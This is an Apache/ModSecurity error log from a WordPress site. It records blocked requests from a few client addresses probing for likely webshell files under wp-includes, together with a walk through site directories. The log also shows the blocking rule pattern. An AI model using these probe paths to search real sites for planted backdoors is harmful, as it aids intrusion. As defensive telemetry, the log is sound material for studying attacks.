[Sat Feb 28 22:27:04.580549 2026] [:error] [pid 39184:tid 39227] [client 45.86.200.221:55189] [client 45.86.200.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aaL7OFtZF9Zd_U7easDmdQAAAEg"]
[Sat Feb 28 22:27:08.267023 2026] [:error] [pid 49763:tid 49784] [client 45.86.200.245:56351] [client 45.86.200.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aaL7PLTHSOG_yf2PpqHNYQAAAdI"]
[Sat Feb 28 22:27:24.955732 2026] [:error] [pid 49763:tid 49771] [client 45.86.200.227:34381] [client 45.86.200.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/system.php"] [unique_id "aaL7TLTHSOG_yf2PpqHNpgAAAcU"]
[Sat Feb 28 22:27:26.995694 2026] [:error] [pid 39184:tid 39224] [client 45.86.200.223:46921] [client 45.86.200.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aaL7TltZF9Zd_U7easDmowAAAEU"]
[Sat Feb 28 22:27:31.345996 2026] [:error] [pid 49763:tid 49771] [client 45.86.200.251:34459] [client 45.86.200.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aaL7U7THSOG_yf2PpqHN5QAAAcU"]
[Sat Feb 28 22:27:32.485120 2026] [:error] [pid 39292:tid 39300] [client 45.86.200.249:64493] [client 45.86.200.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aaL7VKIAO5fN7BxyqcGWqwAAAMY"]
[Sat Feb 28 22:27:33.378022 2026] [:error] [pid 52460:tid 52483] [client 185.82.72.104:60663] [client 185.82.72.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aaL7VbLWOogAgHGh62S72QAAAZQ"]
[Sat Feb 28 22:27:36.428715 2026] [autoindex:error] [pid 52460:tid 52481] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:36.873925 2026] [autoindex:error] [pid 52460:tid 52473] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:37.203582 2026] [autoindex:error] [pid 52460:tid 52478] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:37.598222 2026] [autoindex:error] [pid 52460:tid 52477] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:40.260086 2026] [autoindex:error] [pid 52460:tid 52464] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:40.630690 2026] [autoindex:error] [pid 52460:tid 52465] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:40.968615 2026] [autoindex:error] [pid 52460:tid 52473] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:41.469922 2026] [autoindex:error] [pid 52460:tid 52485] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:41.845170 2026] [autoindex:error] [pid 52460:tid 52486] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:42.165651 2026] [autoindex:error] [pid 52460:tid 52480] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:42.804457 2026] [autoindex:error] [pid 52460:tid 52477] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:44.703710 2026] [autoindex:error] [pid 52460:tid 52487] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:45.120088 2026] [autoindex:error] [pid 52460:tid 52464] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:48.917263 2026] [autoindex:error] [pid 52460:tid 52484] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/query/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:49.265094 2026] [autoindex:error] [pid 52460:tid 52487] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/langs/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:49.594602 2026] [autoindex:error] [pid 52460:tid 52474] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:49.904945 2026] [autoindex:error] [pid 52460:tid 52481] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/group/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:54.709747 2026] [autoindex:error] [pid 52460:tid 52476] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:27:56.730696 2026] [autoindex:error] [pid 52460:tid 52480] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:00.451523 2026] [autoindex:error] [pid 52460:tid 52487] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:00.880166 2026] [autoindex:error] [pid 52460:tid 52464] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:01.234177 2026] [autoindex:error] [pid 52460:tid 52468] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:12.347454 2026] [autoindex:error] [pid 52460:tid 52468] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:14.665047 2026] [autoindex:error] [pid 52460:tid 52485] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:14.974485 2026] [autoindex:error] [pid 52460:tid 52482] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:16.085597 2026] [autoindex:error] [pid 52460:tid 52470] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:16.425159 2026] [autoindex:error] [pid 52460:tid 52482] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:16.946961 2026] [autoindex:error] [pid 52460:tid 52472] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:28:24.537875 2026] [autoindex:error] [pid 52460:tid 52478] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:11.914672 2026] [autoindex:error] [pid 52460:tid 52471] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:12.620318 2026] [autoindex:error] [pid 52460:tid 52468] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:12.977689 2026] [autoindex:error] [pid 52460:tid 52464] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:13.309744 2026] [autoindex:error] [pid 52460:tid 52485] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:17.258049 2026] [autoindex:error] [pid 52460:tid 52473] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:17.568669 2026] [autoindex:error] [pid 52460:tid 52477] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:19.576485 2026] [autoindex:error] [pid 52460:tid 52474] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:21.813426 2026] [autoindex:error] [pid 52460:tid 52470] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:22.142202 2026] [autoindex:error] [pid 52460:tid 52472] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:22.481494 2026] [autoindex:error] [pid 52460:tid 52475] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:25.115221 2026] [autoindex:error] [pid 52460:tid 52479] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:25.457246 2026] [autoindex:error] [pid 52460:tid 52474] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:25.809923 2026] [autoindex:error] [pid 52460:tid 52468] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:29:26.131409 2026] [autoindex:error] [pid 52460:tid 52485] [client 45.86.200.250:57485] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:11.215229 2026] [autoindex:error] [pid 39183:tid 39192] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:30.297424 2026] [autoindex:error] [pid 39183:tid 39206] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:38.986026 2026] [autoindex:error] [pid 39183:tid 39196] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:39.321066 2026] [autoindex:error] [pid 39183:tid 39198] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:46.807535 2026] [autoindex:error] [pid 39183:tid 39207] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:47.152302 2026] [autoindex:error] [pid 39183:tid 39202] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 22:30:47.492434 2026] [autoindex:error] [pid 39183:tid 39193] [client 185.82.72.102:60019] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
